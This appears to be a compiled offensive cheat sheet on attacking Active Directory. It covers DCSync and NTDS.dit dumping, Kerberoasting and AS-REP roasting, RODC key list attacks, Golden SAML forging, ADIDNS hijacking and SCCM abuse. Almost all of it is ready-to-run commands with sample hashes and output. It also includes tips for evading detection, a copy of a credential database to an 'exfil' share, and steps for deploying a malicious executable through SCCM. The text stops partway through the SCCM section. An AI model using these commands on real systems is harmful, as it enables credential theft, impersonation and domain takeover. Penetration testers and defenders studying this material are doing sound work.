DCSync is a technique used by attackers to obtain sensitive information, including password hashes, from a domain controller in an Active Directory environment. Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.

+
    +
  • DCSync only one user + 
    mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt
+
    • +
  • DCSync all users of the domain + 
    mimikatz# lsadump::dcsync /domain:htb.local /all /csv
+
+netexec smb 10.10.10.10 -u 'username' -p 'password' --ntds
+netexec smb 10.10.10.10 -u 'username' -p 'password' --ntds drsuapi
+
    • +
+
+

⚠ OPSEC NOTE: Replication is always done between 2 Computers. Doing a DCSync from a user account can raise alerts.

+
+

Volume Shadow Copy

+

The VSS is a Windows service that allows users to create snapshots or backups of their data at a specific point in time. Attackers can abuse this service to access and copy sensitive data, even if it is currently being used or locked by another process.

+
    +
  • windows-commands/vssadmin + 
    vssadmin create shadow /for=C:
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
+
    • +
  • windows-commands/ntdsutil + 
    ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
+
    • +
  • Pennyw0rth/NetExec - VSS module + 
    nxc smb 10.10.0.202 -u username -p password --ntds vss
+
    • +
+

Forensic Tools

+

A good method for avoiding or reducing detections involves using common forensic tools to dump the NTDS.dit file and the SYSTEM hive. By utilizing widely recognized and legitimate forensic software, the process can be conducted more discreetly and with a lower risk of triggering security alerts.

+
    +
  • Dump the memory with magnet/dumpit
    • +
  • Use volatility to extract the SYSTEM hive + 
    volatility -f test.raw windows.registry.printkey.PrintKey
+volatility --profile=Win10x64_14393 dumpregistry -o 0xaf0287e41000 -D output_vol -f test.raw
+
    • +
  • Use exterro/ftk-imager to read the disk in raw state
    • +
  • Go to File -> Add Evidence Item -> Physical Drive -> Select the C drive.
    • +
  • Export C:\Windows\NTDS\ntds.dit.
    • +
  • Finally use secretdump: secretsdump.py LOCAL -system output_vol/registry.0xaf0287e41000.SYSTEM.reg -ntds ntds.dit
    • +
+

Extract hashes from ntds.dit

+

Then you need to use impacket/secretsdump to extract the hashes, use the LOCAL options to use it on a retrieved ntds.dit

+
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
+
+

secretsdump also works remotely

+
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status 
+./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
+
+
    +
  • -pwd-last-set: Shows pwdLastSet attribute for each NTDS.DIT account.
    • +
  • -user-status: Display whether or not the user is disabled.
    • +
+

Extract hashes from adamntds.dit

+

In AD LDS stores the data inside a dit file located at C:\Program Files\Microsoft ADAM\instance1\data\adamntds.dit.

+
    +
  • +

    Dump adamntds.dit with Shadow copy using vssadmin.exe + 

    vssadmin.exe create shadow /For=C:
+cp "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Program files\Microsoft ADAM\instance1\data\adamntds.dit" \\exfil\data\adamntds.dit
+

    +
    • +
  • +

    Dump adamntds.dit with Windows Server Backup using wbadmin.exe + 

    wbadmin.exe start backup -backupTarget:e: -vssCopy -include:"C:\Program Files\Microsoft ADAM\instance1\data\adamntds.dit"
+wbadmin.exe start recovery -version:08/04/2023-12:59 -items:"c:\Program Files\Microsoft ADAM\instance1\data\adamntds.dit" -itemType:File -recoveryTarget:C:\Users\Administrator\Desktop\ -backupTarget:e:
+

    +
    • +
  • +

    Extract hashes with synacktiv/ntdissector + 

    ntdissector path/to/adamntds.dit
+python ntdissector/tools/user_to_secretsdump.py path/to/output/*.json
+

    +
    • +
+

Crack NTLM hashes with hashcat

+

Useful when you want to have the clear text password or when you need to make stats about weak passwords.

+

Recommended wordlists: +- Rockyou.txt +- Have I Been Pwned founds +- Weakpass.com +- Read More at Methodology and Resources/Hash Cracking.md

+
# Basic wordlist
+# (-O) will Optimize for 32 characters or less passwords
+# (-w 4) will set the workload to "Insane" 
+$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r myrules.rule --opencl-device-types 1,2
+
+# Generate a custom mask based on a wordlist
+$ git clone https://github.com/iphelix/pack/blob/master/README
+$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask
+$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.hcmask
+
+

⚠ If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :

+ +

NTDS Reversible Encryption

+

UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED (0x00000080), if this bit is set, the password for this user stored encrypted in the directory - but in a reversible form.

+

The key used to both encrypt and decrypt is the SYSKEY, which is stored in the registry and can be extracted by a domain admin. +This means the hashes can be trivially reversed to the cleartext values, hence the term “reversible encryption”.

+
    +
  • List users with "Store passwords using reversible encryption" enabled + 
    Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
+
    • +
+

The password retrieval is already handled by SecureAuthCorp/secretsdump.py and mimikatz, it will be displayed as CLEARTEXT.

+

Extract hashes from memory

+

Dumps credential data in an Active Directory domain when run on a Domain Controller.

+

⚠ Requires administrator access with debug privilege or NT-AUTHORITY\SYSTEM account.

+
mimikatz> privilege::debug
+mimikatz> sekurlsa::krbtgt
+mimikatz> lsadump::lsa /inject /name:krbtgt
+
+

References

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Active Directory - Read Only Domain Controller

+

RODCs are an alternative for Domain Controllers in less secure physical locations +- Contains a filtered copy of AD (LAPS and Bitlocker keys are excluded) +- Any user or group specified in the managedBy attribute of an RODC has local admin access to the RODC server

+

RODC Golden Ticket

+
    +
  • You can forge an RODC golden ticket and present it to a writable Domain Controller only for principals listed in the RODC’s msDS-RevealOnDemandGroup attribute and not in the RODC’s msDS-NeverRevealGroup attribute
    • +
+

RODC Key List Attack

+

Requirements:

+ +

Exploit:

+
    +
  • using Impacket + 
    # keylistattack.py using SAMR user enumeration without filtering (-full flag)
+keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
+
+# keylistattack.py defining a target username (-t flag)
+keylistattack.py -kdc server.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST
+
+# secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
+secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
+
    • +
  • Using Rubeus + 
    Rubeus.exe golden /rodcNumber:25078 /aes256:eacd894dd0d934e84de35860ce06a4fac591ca63c228ddc1c7a0ebbfa64c7545 /user:admin /id:1136 /domain:lab.local /sid:S-1-5-21-1437000690-1664695696-1586295871
+Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/lab.local /dc:dc1.lab.local /ticket:doIFgzCC[...]wIBBxhYnM=
+
    • +
+

RODC Computer Object

+

When you have one the following permissions to the RODC computer object: GenericWrite, GenericAll, WriteDacl, Owns, WriteOwner, WriteProperty.

+
    +
  • Add a domain admin account to the RODC's msDS-RevealOnDemandGroup attribute
    • +
  • Windows/Linux: + 
    # Get original msDS-RevealOnDemandGroup values 
+bloodyAD --host 10.10.10.10 -d domain.local -u username -p pass123 get object 'RODC$' --attr msDS-RevealOnDemandGroup
+distinguishedName: CN=RODC,CN=Computers,DC=domain,DC=local
+msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local
+# Add the previous value plus the admin account
+bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 set object 'RODC$' --attr msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' -v 'CN=Administrator,CN=Users,DC=domain,DC=local'
+
    • +
  • Windows only: + 
    PowerSploit> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}
+
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References

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Active Directory - Federation Services

+

Active Directory Federation Services (AD FS) is a software component developed by Microsoft that provides users with single sign-on (SSO) access to systems and applications located across organizational boundaries. It uses a claims-based access control authorization model to maintain application security and to provide seamless access to web-based applications that are hosted inside or outside the corporate network.

+

ADFS - DKM Master Key

+
    +
  • The DKM key is stored in the thumbnailPhoto attribute of the AD contact object.
    • +
+
$key=(Get-ADObject -filter 'ObjectClass -eq "Contact" -and name -ne "CryptoPolicy"' -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=local" -Properties thumbnailPhoto).thumbnailPhoto
+[System.BitConverter]::ToString($key)
+
+

ADFS - Trust Relationship

+

Gets the relying party trusts of the Federation Service.

+
    +
  • Search for IssuanceAuthorizationRules + 
    Get-AdfsRelyingPartyTrust
+
    • +
+

ADFS - Golden SAML

+

Golden SAML is a type of attack where an attacker creates a forged SAML (Security Assertion Markup Language) authentication response to impersonate a legitimate user and gain unauthorized access to a service provider. This attack leverages the trust established between the identity provider (IdP) and service provider (SP) in a SAML-based single sign-on (SSO) system.

+
    +
  • Golden SAML are effective even when 2FA is enabled.
    • +
  • The token-signing private key is not renewed automatically
    • +
  • Changing a user’s password won't affect the generated SAML
    • +
+

Requirements:

+
    +
  • ADFS service account
    • +
  • The private key (PFX with the decryption password)
    • +
+

Exploitation:

+
    +
  • Run mandiant/ADFSDump on ADFS server as the ADFS service account. It will query the Windows Internal Database (WID): \\.\pipe\MICROSOFT##WID\tsql\query
    • +
  • +

    Convert PFX and Private Key to binary format + 

    # For the pfx
+echo AAAAAQAAAAAEE[...]Qla6 | base64 -d > EncryptedPfx.bin
+# For the private key
+echo f7404c7f[...]aabd8b | xxd -r -p > dkmKey.bin 
+

    +
    • +
  • +

    Create the Golden SAML using mandiant/ADFSpoof, you might need to update the dependencies. + 

    mkdir ADFSpoofTools
+cd $_
+git clone https://github.com/dmb2168/cryptography.git
+git clone https://github.com/mandiant/ADFSpoof.git 
+virtualenv3 venvADFSSpoof
+source venvADFSSpoof/bin/activate
+pip install lxml
+pip install signxml
+pip uninstall -y cryptography
+cd cryptography
+pip install -e .
+cd ../ADFSpoof
+pip install -r requirements.txt
+python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.pentest.lab saml2 --endpoint https://www.contoso.com/adfs/ls
+/SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>PENTEST\administrator</AttributeValue></Attribute>'
+

    +
    • +
+

Manual Exploitation:

+
    +
  • Retrieve the WID path: Get-AdfsProperties
    • +
  • Retrieve the ADFS Relying Party Trusts: Get-AdfsRelyingPartyTrust
    • +
  • Retrieve the signing certificate, save the EncryptedPfx and decode it base64 -d adfs.b64 > adfs.bin + 
    $cmd.CommandText = "SELECT ServiceSettingsData from AdfsConfigurationV3.IdentityServerPolicy.ServiceSettings"
+$client= New-Object System.Data.SQLClient.SQLConnection($ConnectionString);
+$client.Open();
+$cmd = $client.CreateCommand()
+$cmd.CommandText = "SELECT name FROM sys.databases"
+$reader = $cmd.ExecuteReader()
+$reader.Read() | Out-Null
+$name = $reader.GetString(0)
+$reader.Close()
+Write-Output $name;
+
    • +
  • Retrieve the DKM key stored inside the thumbnailPhoto attribute of the Active Directory: + 
    ldapsearch -x -H ldap://DC.domain.local -b "CN=ADFS,CN=Microsoft,CN=Program Data,DC=DOMAIN,DC=LOCAL" -D "adfs-svc-account@domain.local" -W -s sub "(&(objectClass=contact)(!(name=CryptoPolicy)))" thumbnailPhoto
+
    • +
  • Convert the retrieved key to raw format: echo "RETRIEVED_KEY_HERE" | base64 -d > adfs.key
    • +
  • Use mandiant/ADFSpoof to generate the Golden SAML
    • +
+

NOTE: There might be multiple master keys in the container, remember to try them all.

+

Golden SAML Examples

+
    +
  • +

    SAML2: requires --endpoint, --nameidformat, --identifier, --nameid and --assertions + 

    python ADFSpoof.py -b adfs.bin adfs.key -s adfs.domain.local saml2 --endpoint https://www.contoso.com/adfs/ls
+/SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>PENTEST\administrator</AttributeValue></Attribute>'
+

    +
    • +
  • +

    Office365: requires --upn and --objectguid + 

    python3 ADFSpoof.py -b adfs.bin adfs.key -s sts.domain.local o365 --upn user@domain.local --objectguid 712D7BFAE0EB79842D878B8EEEE239D1
+

    +
    • +
  • +

    Other: connect to the service provider using a known account, analyze the SAML token attributes given and reuse their format.

    +
    • +
+

NOTE: Sync the time between the attacker's machine generating the Golden SAML and the ADFS server.

+

Other interesting tools to exploit AD FS:

+
    +
  • secureworks/whiskeysamlandfriends/WhiskeySAML - Proof of concept for a Golden SAML attack with Remote ADFS Configuration Extraction.
    • +
  • cyberark/shimit - A tool that implements the Golden SAML attack + 
    python ./shimit.py -idp http://adfs.domain.local/adfs/services/trust -pk key -c cert.pem -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id REDACTED
+
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References

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Active Directory - Integrated DNS - ADIDNS

+

ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol.

+
    +
  • Enumerate all records + 
    adidnsdump -u DOMAIN\\user --print-zones dc.domain.corp (--dns-tcp)
+# or
+bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 get dnsDump
+
    • +
  • Query a node + 
    dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query $DomainController (--legacy)
+# or
+bloodyAD -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'DC=DomainDnsZones,DC=bloody,DC=lab' --filter '(&(name=allmightyDC)(objectClass=dnsNode))' --attr dnsRecord
+
    • +
  • Add a node and attach a record + 
    dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action add --data $AttackerIP $DomainController
+# or
+bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 add dnsRecord dc1.example.lab <Attacker IP>
+
+bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 remove dnsRecord dc1.example.lab <Attacker IP>
+
    • +
+

The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the network.

+
Invoke-Inveigh -ConsoleOutput Y -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3 -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y
+
+

DNS Reconnaissance

+

Perform ADIDNS searches

+
StandIn.exe --dns --limit 20
+StandIn.exe --dns --filter SQL --limit 10
+StandIn.exe --dns --forest --domain <domain> --user <username> --pass <password>
+StandIn.exe --dns --legacy --domain <domain> --user <username> --pass <password>
+
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Roasting - ASREP Roasting

+
+

If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

+
+

Requirements:

+
    +
  • Accounts with the attribute DONT_REQ_PREAUTH
    • +
  • Windows/Linux: + 
    bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName  
+
    • +
  • +

    Windows only: + 

    PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose
+

    +
    • +
  • +

    Rubeus + 

    C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
+[*] Action: AS-REP roasting
+[*] Target User            : TestOU3user
+[*] Target Domain          : testlab.local
+[*] SamAccountName         : TestOU3user
+[*] DistinguishedName      : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
+[*] Using domain controller: testlab.local (192.168.52.100)
+[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
+[*] Connecting to 192.168.52.100:88
+[*] Sent 169 bytes
+[*] Received 1437 bytes
+[+] AS-REQ w/o preauth successful!
+[*] AS-REP hash:
+
+$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
+

    +
    • +
  • +

    GetNPUsers from Impacket Suite + 

    $ python GetNPUsers.py htb.local/svc-alfresco -no-pass
+[*] Getting TGT for svc-alfresco
+$krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7a[...]e776b4
+
+# extract hashes
+root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
+root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
+

    +
    • +
  • +

    netexec Module + 

    $ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt
+LDAP        10.0.2.11       389    dc01           $krb5asrep$23$john.doe@LAB.LOCAL:5d1f750[...]2a6270d7$096fc87726c64e545acd4687faf780[...]13ea567d5
+

    +
    • +
+

Using hashcat or john to crack the ticket.

+
# crack AS_REP messages with hashcat
+root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 
+root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rockyou.txt
+
+# crack AS_REP messages with john
+C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast
+
+

Mitigations:

+
    +
  • All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
    • +
+

Kerberoasting w/o domain account

+
+

In September 2022 a vulnerability was discovered by Charlie Clark, ST (Service Tickets) can be obtained through KRB_AS_REQ request without having to control any Active Directory account. If a principal can authenticate without pre-authentication (like AS-REP Roasting attack), it is possible to use it to launch an KRB_AS_REQ request and trick the request to ask for a ST instead of a encrypted TGT, by modifying the sname attribute in the req-body part of the request.

+
+

The technique is fully explained in this article: Semperis blog post.

+

⚠ You must provide a list of users because we don't have a valid account to query the LDAP using this technique.

+
    +
  • impacket/GetUserSPNs.py from PR #1413 + 
    GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
+
    • +
  • GhostPack/Rubeus from PR #139 + 
    Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
+
    • +
+

CVE-2022-33679

+
+

CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-authentication disabled and the attack is unauthenticated meaning we don’t need a client’s password..

+
+

Research from Project Zero : https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html

+

Requirements:

+
    +
  • Accounts with the attribute DONT_REQ_PREAUTH
    • +
  • Windows/Linux: + 
    bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName  
+
    • +
  • +

    Windows only: + 

    PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose
+

    +
    • +
  • +

    Using CVE-2022-33679.py + 

    user@hostname:~$ python CVE-2022-33679.py DOMAIN.LOCAL/User DC01.DOMAIN.LOCAL
+user@hostname:~$ export KRB5CCNAME=/home/project/User.ccache
+user@hostname:~$ netexec smb DC01.DOMAIN.LOCAL -k --shares
+

    +
    • +
+

Mitigations:

+
    +
  • All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
    • +
  • Disable RC4 cipher if possible.
    • +
+

References

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Roasting - Kerberoasting

+
+

"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN

+
+

Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

+
    +
  • +

    GetUserSPNs from Impacket Suite + 

    $ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
+
+Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
+
+ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet      LastLogon           
+--------------------  -------------  --------------------------------------------------------  -------------------  -------------------
+active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40  2018-12-03 17:11:11 
+
+$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43[...]84fd2
+

    +
    • +
  • +

    netexec Module + 

    $ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --kerberoast output.txt
+LDAP        10.0.2.11       389    dc01           [*] Windows 10.0 Build 17763 x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False)
+LDAP        10.0.2.11       389    dc01           $krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82$b28fc61[...]f800f6dcd259ea1fca8f9
+

    +
    • +
  • +

    Rubeus + 

    # Stats
+Rubeus.exe kerberoast /stats
+-------------------------------------   ----------------------------------
+| Supported Encryption Type | Count |  | Password Last Set Year | Count |
+-------------------------------------  ----------------------------------
+| RC4_HMAC_DEFAULT          | 1     |  | 2021                   | 1     |
+-------------------------------------  ----------------------------------
+
+# Kerberoast (RC4 ticket)
+Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
+
+# Kerberoast (AES ticket)
+# Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.
+Rubeus.exe kerberoast /tgtdeleg
+
+# Kerberoast (RC4 ticket)
+# The tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted.
+Rubeus.exe kerberoast /rc4opsec
+

    +
    • +
  • +

    PowerView + 

    Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
+

    +
    • +
  • +

    bifrost on macOS machine + 

    ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
+

    +
    • +
  • +

    targetedKerberoast + 

    # for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute), 
+# print the "kerberoast" hash, and delete the temporary SPN set for that operation
+targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
+

    +
    • +
+

Then crack the ticket using the correct hashcat mode ($krb5tgs$23= etype 23)

+ + + + + + + + + + + + + + + + + + + + + +
ModeDescription
13100Kerberos 5 TGS-REP etype 23 (RC4)
19600Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96)
19700Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96)
+
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
+./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt
+
+

Mitigations:

+
    +
  • Have a very long password for your accounts with SPNs (> 32 characters)
    • +
  • Make sure no users have SPNs
    • +
+

References

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Roasting - Timeroasting

+
+

Timeroasting takes advantage of Windows' NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer account by sending an NTP request with that account's RID

+
+
    +
  • SecuraBV/Timeroast - Timeroasting scripts by Tom Tervoort + 
    sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
+hashcat -m 31300 ntp-hashes.txt
+
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+

References

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Active Directory - Tricks

+

Kerberos Clock Synchronization

+

In Kerberos, time is used to ensure that tickets are valid. To achieve this, the clocks of all Kerberos clients and servers in a realm must be synchronized to within a certain tolerance. The default clock skew tolerance in Kerberos is 5 minutes, which means that the difference in time between the clocks of any two Kerberos entities should be no more than 5 minutes.

+
    +
  • Detect clock skew automatically with nmap + 
    $ nmap -sV -sC 10.10.10.10
+clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s
+
    • +
  • Compute yourself the difference between the clocks + 
    nmap -sT 10.10.10.10 -p445 --script smb2-time -vv
+
    • +
  • Fix #1: Modify your clock + 
    sudo date -s "14 APR 2015 18:25:16" # Linux
+net time /domain /set # Windows
+
    • +
  • Fix #2: Fake your clock + 
    faketime -f '+8h' date
+
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+

References

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Deployment - SCCM

+
+

SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.

+
+

SCCM Application Deployment

+
+

Application Deployment is a process that involves packaging software applications and distributing them to selected computers or devices within an organization

+
+

Tools:

+ +

Exploitation:

+
    +
  • Using SharpSCCM + 
    .\SharpSCCM.exe get devices --server <SERVER8NAME> --site-code <SITE_CODE>
+.\SharpSCCM.exe <server> <sitecode> exec -d <device_name> -r <relay_server_ip>
+.\SharpSCCM.exe exec -d WS01 -p "C:\Windows\System32\ping 10.10.10.10" -s --debug
+
    • +
  • Compromise client, use locate to find management server + 
    MalSCCM.exe locate
+
    • +
  • Enumerate over WMI as an administrator of the Distribution Point + 
    MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups
+
    • +
  • Compromise management server, use locate to find primary server
    • +
  • Use inspect on primary server to view who you can target + 
    MalSCCM.exe inspect /all
+MalSCCM.exe inspect /computers
+MalSCCM.exe inspect /primaryusers
+MalSCCM.exe inspect /groups
+
    • +
  • +

    Create a new device group for the machines you want to laterally move too + 

    MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
+MalSCCM.exe inspect /groups
+

    +
    • +
  • +

    Add your targets into the new group + 

    MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL
+

    +
    • +
  • +

    Create an application pointing to a malicious EXE on a world readable share : SCCMContentLib$ + 

    MalSCCM.exe app /create /name:demoapp /uncpath:"\\BLORE-SCCM\SCCMContentLib$\localthread.exe"
+MalSCCM.exe inspect /applications
+

    +
    • +
  • +

    Deploy the application to the target group + 

    MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup /assignmentname:demodeployment
+MalSCCM.exe inspect /deployments
+

    +
    • +
  • +

    Force the target group to checkin for updates + 

    MalSCCM.exe checkin /groupname:TargetGroup
+

    +
    • +
  • +

    Cleanup the application, deployment and group + 

    MalSCCM.exe app /cleanup /name:demoapp
+MalSCCM.exe group /delete /groupname:TargetGroup
+

    +
    • +
+

SCCM Shares

+
+

Find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares

+
+
    +
  • 1njected/CMLoot + 
    Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt
+Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml
+Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension msi
+
    • +
+

SCCM Configuration Manager

+ +

CRED-1 Retrieve credentials via PXE boot media

+ +

Requirements:

+
    +
  • On the SCCM Distribution Point: HKLM\Software\Microsoft\SMS\DP\PxeInstalled = 1
    • +
  • On the SCCM Distribution Point: HKLM\Software\Microsoft\SMS\DP\IsPxe = 1
    • +
  • PXE-enabled distribution point
    • +
+

Exploitation:

+ +

CRED-2 Request a policy containing credentials

+ +

Requirements:

+
    +
  • PKI certificates are not required for client authentication
    • +
  • Domain accounts credential
    • +
+

Exploitation:

+

Create a machine or compromise an existing one, then request policies such as NAAConfig

+

Easy mode using SharpSCCM

+
```ps1
+SharpSCCM get secrets -u <username-machine-$> -p <password>
+SharpSCCM get naa
+```
+
+

Stealthy mode by creating a computer.

+
    +
  • Create a machine account with a specific password: addcomputer.py -computer-name 'customsccm$' -computer-pass 'YourStrongPassword123*' 'sccm.lab/carol:SCCMftw' -dc-ip 192.168.33.10
    • +
  • In your /etc/hosts file, add an entry for the MECM server: 192.168.33.11 MECM MECM.SCCM.LAB
    • +
  • Use sccmwtf to request a policy: python3 sccmwtf.py fake fakepc.sccm.lab MECM 'SCCMLAB\customsccm$' 'YourStrongPassword123*'
    • +
  • Parse the policy to extract the credentials and decrypt them using sccmwtf/policysecretunobfuscate.py: cat /tmp/naapolicy.xml |grep 'NetworkAccessUsername\|NetworkAccessPassword' -A 5 |grep -e 'CDATA' | cut -d '[' -f 3|cut -d ']' -f 1| xargs -I {} python3 policysecretunobfuscate.py {}
    • +
+

CRED-3 Extract currently deployed credentials stored as DPAPI blobs

+
+

Dump currently deployed secrets via WMI. If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain credentials.

+
+ +

Requirements:

+
    +
  • Local administrator privileges on an SCCM client
    • +
+

Exploitation:

+
    +
  • +

    Find SCCM blob + 

    Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
+NetworkAccessPassword : <![CDATA[E600000001...8C6B5]]>
+NetworkAccessUsername : <![CDATA[E600000001...00F92]]>
+

    +
    • +
  • +
